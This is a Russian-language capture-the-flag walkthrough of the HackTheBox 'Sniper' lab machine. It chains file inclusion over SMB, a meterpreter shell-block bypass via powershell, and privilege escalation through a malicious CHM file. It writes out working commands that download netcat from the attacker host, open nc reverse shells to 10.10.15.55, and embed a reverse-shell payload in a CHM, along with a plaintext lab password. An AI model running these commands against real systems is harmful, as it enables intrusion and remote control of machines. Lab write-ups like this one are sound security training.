Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ. В данной статье эксплуатируем RFI, обходим блокировку shell meterpreter и создаем вредоносный CHM документ.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)
Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
- PWN;
- криптография (Crypto);
- cетевые технологии (Network);
- реверс (Reverse Engineering);
- стеганография (Stegano);
- поиск и эксплуатация WEB-уязвимостей.
Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.151, который я добавляю в /etc/hosts.
10.10.10.151 sniper.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 1000 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.151 --rate=1000
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A sniper.htb -p80,135,139,445
На хосте открыто 4 порта, узнаем, что нам может дать веб-сервер.
Первые три ссылки пустые, а вот две других привели на страницы блога и авторизации.
Учетные данные типа admin:admin не подходят, а вот на странице блога интересный выбор языка.
Сразу возникают мысли о LFI. Давайте прочитаем один из доступных всем для чтения файлов, например hosts (и в Linux, и в Windows).
Идея подтвердилась, имеем LFI.
Entry Point
Но есть возможность попробовать и RFI. Создадим тестовый файл.
Развернем локальный SMB сервер SAMBA. Для этого напишем соответствующие конфигурации в файл /etc/samba/smb.conf. Нужно прописать путь к директории и дать разрешения для доступа от имени гостя.
Теперь запустим smbd службу.
service smbd start
И обратившись к ресурсу, получим положительный результат.
Теперь кидаем нагрузку. Создадим ее с помощью msfvenom, затем активируем листенер.
Обращаемся к файлу. И получаем подключение.
Так как на сайте была страница авторизации, то мы можем найти хоть какие-нибудь учетные данные. Мы находимся в директории страницы blog.
Давайте скачаем все, что есть в директории user.
Позже, просматривая все файлы на локальном хосте, находим учетные данные для подключения к базе.
USER
Узнаем пользователей в системе. Но вот при выполнении любой команды через shell в meterpreter, получаем обрыв соединения. Неужели блокируется cmd? Попробуем обойти блокировку за счет создания процесса powershell в скрытом от просмотра (-H) интерактивном режиме (-i) с передачей нашей команды в качестве параметры (-a).
execute -f powershell -a "net users" -i -H
А теперь давайте попробуем выполнить команду в контексте данного пользователя. Для этого в качестве параметра передадим следующий скриптик в powershell.
execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { whoami }" -i -H
Загрузим на хост netcat. Для этого в директории с ним запустим HTTP сервер.
python3 -m http.server 80
И выполним загрузку.
execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { iwr 10.10.15.55/nc -o C:\\Users\\Chris\\Documents\\nc.exe }" -i -H
Теперь запускаем у себя netcat, выполняем подключение и получаем сессию пользователя.
execute -f powershell -a "$username = 'SNIPER\Chris' ; $password = '36mEAhz/B8xQ~2VM' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername SNIPER -credential $credential -scriptblock { C:\\Users\\Chris\\Documents\\nc.exe -e powershell 10.10.15.55 6543}" -i -H
ROOT
Немного побродив по пользовательским директориям, найдем chm файл. Не понятно зачем он нужен.
На диске C: в папке Docs оставлена записка, в которой говорится, что пользователь не умеет работать с PHP и должен подготовить документацию. Оставить документы нужно в данной папке.
Установим HTML Help Workshop. А потом сгенерируем вредоносный CHM файл с помощью Out-Chm из пакета Nishang.
Out-CHM -Payload "C:\\Users\\Chris\\Documents\\nc.exe -e powershell 10.10.15.55 8765" -HHCPath "C:\Program Files (x86)\HTML Help Workshop"
Теперь сохраним в целевую директорию на удаленном хосте наш файл.
wget http://10.10.15.55/doc.chm -o C:\Docs\doc.chm
И получаем сессию администратора.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.